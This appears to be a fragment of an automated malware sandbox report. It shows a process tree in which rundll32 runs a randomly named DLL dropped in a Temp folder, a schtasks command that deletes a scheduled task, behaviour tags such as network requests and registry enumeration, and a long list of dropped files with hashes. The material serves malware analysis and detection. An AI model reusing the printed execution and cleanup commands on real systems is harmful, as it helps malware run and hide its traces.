C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\PfAmACXkWBLbKqPZ\xfbYicki\PelFBiT.dll",#1 /KPdidqfmd 5254032⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4580 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "SQVSLJdEAqcPOSFTe"3⤵PID:692
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
129B
MD5a526b9e7c716b3489d8cc062fbce4005
SHA12df502a944ff721241be20a9e449d2acd07e0312
SHA256e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066
SHA512d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88
-
Filesize
2KB
MD509c75ca759b7fdebf0e4a2caca045db7
SHA19a1d7fa920d201553d14147765c5d333423335d6
SHA2569d79ca36cab01e2bb6742f82c5bb298306e5043e0788223bcc93b02fe1ae2424
SHA512a71200db098f74a88565b27ef23d9f7576eb19c011ff042838dab55c31f32e0fbbaa7ed180a1c0b0383e658a4d23d763369647e0689a3c3ebb9fbfb4109d591c
-
Filesize
2KB
MD584f5764938bef20f2275492f756b3365
SHA10869e459c7dece28dc1006dcbeabb62db3e58f73
SHA25614a8e2c2b7638c8a3c577bb3ded4bfeb350950500d7d73f9dd569178b1dac47b
SHA512a38f455735702e8150d40be6a28336e58407315db88832418059185e367f2c54dadf1bfbedbdd916205f3639e58790993b8fac6fbdc458db1d7a64085cb04219
-
Filesize
2KB
MD590a2035d783c39561883dc4f3d64546f
SHA117f9b96e43c34112ace6cd1fae892b37bf3d120c
SHA256bd1853f5d3aa936168a32f4a3494ca30bd7f218104139e9c7b1bb7eea69927a0
SHA512c0db3b11906d5e620a32bd5dd15856e6ff26109467964df6e3d834d3fd44390e4d7f71aae81b0b9c3d95c6818d6994f2a5726548a79edd8b10f69645266b7a58
-
Filesize
2KB
MD5b5e01700fa52cb1fd7f0252f7d54de04
SHA16cc05877d5b2a704f3b1a5f656c16010ed11b6a5
SHA256511b7df7f88913ade3981d1edf095eba4469a65cfcc7953752b3d45ffa84d5e2
SHA512485ced6d3f4820dfc8e27a01b591aac72b67563f97faf1e62f4ffe50817ebba9733f7cbed2e5d7c95dc6b25a425dce7775edbc3cc8401587c0b402069cf146ec
-
Filesize
2.0MB
MD50429902168db7df7211631c21c85d3d8
SHA1c2f79d534534d8b9fd006db5fbad7f634c8b24a7
SHA256832ec5e60f98b178a0162e6f0fdeca1059e214b33ceeb960d5175ef25344e8de
SHA512a5e4f2d3b24bbce61650d0edfc9219538befb611fedebd0295058172ee0244ab21028bdf676d177a253d1e14aae8d5549743833dde8ddd2e4788a57b850f2a5c
-
Filesize
2KB
MD520243811bc25752e4c9d82a145e81bce
SHA1f770e5c8bc1c0ff00c6f3db868cfac74fa6802f2
SHA256b4b12942b49aec2d78297dd477602b85100a7d0276402b406d513bc805679851
SHA5122e68e9494d94290b4a3b4a3333ac8bded371a696f737944c0bbb8cac9bc2760ab990c591ffe85dbcd47784ef0ac82c4c2932de9ab310471a07514bfe71e841b9
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
10KB
MD5e0f9286526960bac0a967e7c1013caf4
SHA170b1a13b3ed3379c20f1883bb345926503973f60
SHA25622288cb6e216ed7e50729806762e264512ec7c882daa225e101d48f47eae860b
SHA5125e0171a3221d16a2c1fb5f6fc49b093d3b77420846547e99ea299d503b73caa5dc04a8cf1941d013fc0bb416fbb7c03c00797f40b6843c3476bd1f2386cb8122
-
Filesize
12KB
MD5ef92bc180e5d84da5e6711ec71e5260f
SHA1be6bb131bc5e49edee87fc543c855ab2fe9cd1cb
SHA256a78cac40d2f6ac63124e1d33f0a77d74a79219411775ea1bd94fea2b001edf0b
SHA512f8fed540c3e4d9ee8785b164da564d3253a3d39b3bdd53303e68af6c288d5d9dad69c4640a2fc01f83f9be22103528b209011136b71c2fe12df61b0b8f321873
-
Filesize
6.4MB
MD5c52dee58e1654722e85bc9d2cc9318a1
SHA16aa1df96f0b154e17f898fd32844fa4e7010e049
SHA2564041f4481be3085fe58bb53819ca274719f7210f76a091ef846bd4434865bad2
SHA512fc717c772485c49c4ab89d322831021c1d2530628cb70de72453e5ecf120de3a325b58f0437a92a80968793042c9db64125a4593570497d5642ef16999e4a93c
-
Filesize
6.7MB
MD5c620de5bb5cd064dae66dfa434246e55
SHA17e539b964609bad8a802a65a7d33126123ec691d
SHA256c32807f003f32225bac2478e900b302e3b512b4de7dd9e246a892b01378f97cc
SHA51266834633d63a04e2e738b6ec7e4cb0d0ad1e88ffeca35a43a287b6c505023e1101b69d344898511b259c3742f767a1fe485bb1559e3bebb41c8d84ec4f72f667
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
7KB
MD5c6c77897b9829b95db7096eb2965d9f0
SHA136f6c97a2f6f1c74fcb3767ceb40bbe0b289fcbe
SHA256e6e90a3ccfd21c34fccb576e162e9e08445c7c3bc2d35a133284b432540d511c
SHA512df0bca2fe0fe2205090826904c36fee7fe306b4d73cb4b77931736b809412fbcf4fd8a3bde9b3ce8515bc6f7b6fcf5ab243e3835356511ff12f50c64a0e65c6f
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize1KB
MD5e33ed3d4cc9b2e5a08ae25747ef47620
SHA1e2f4cfdd39bcb2eb1c05648a37a3d8536eaf19b7
SHA2560e7093450fb6bb5201b4291033daf6099881421ab47b122972e0249ef5b45a4f
SHA5129e990f7ca202c7ecc7a21dd2433055b71bd62f2e524f4702b674316effeb8fa37e891d40f3e6a960380dd7967033c7a7f235e73a3c434e97495e532309b4f95e
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize12KB
MD573183ca7c52f55686a621d93b5279daf
SHA1928ff396b200dd0ead5e52d18359e78f2fbede97
SHA2568f386795d21a6b30ebe7ff435a9bc93da25385c74fdfeb2d1804601d5cb7a056
SHA512efbbcb330d2f4ecd6a03e386fbf3935b75ba6099e55badb8de5c2698a3907f4449398ba812ef32643c9e9e7aa26864878334630905c9693f7568420a22d0e1bb
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize12KB
MD56474ce90679426aa7502a60568d6f7dd
SHA1030e6f1dfe126fc937a79451c006773bb38b5873
SHA25602546f2c5ba028529b2efe2f7a726b7a22a8396dffb4883669c957b392008678
SHA51261e7f90d35c8598c2d36e470fd378c433462c2acecbb1b77e09443cd199068fa63e464d013a5b8ba39d251f5aabab14befe045aa3e628ad99cf24e1e3cb33120
-
Filesize
6.4MB
MD50e0f3c296e7c61bdd612a4256769579e
SHA1bc2ea1335b7c818a9dab5c12ded16079613282cc
SHA2565b0426dc799b941884ad8e266ebaeca07ffce34faf457880d76ee82c54784908
SHA512766c21db290c413fe260f7ebd3d41907ccb9bf1a3a909ebc622b10735c296a481ca2bf67883ca01588df3aebe75db1452b0b689872ed8e8e13fcb2c2f3d7b67c
-
Filesize
6KB
MD50921c4bb94dcfcaf8c76aea24e0d50da
SHA1ea777ed0213d6b97cacb4b88f527af976689319f
SHA256cb190f607af4c708dbab67d10b75faee2aaf2689beb2a8c378a1122ff13a1e0f
SHA5129a1d1258f8804274fddec1f03e0c19246a392c758c374aee085fb92561b10f62946ad5405dbf08abc810d0b9759255b40fc578794b9508131586d69fe90bf724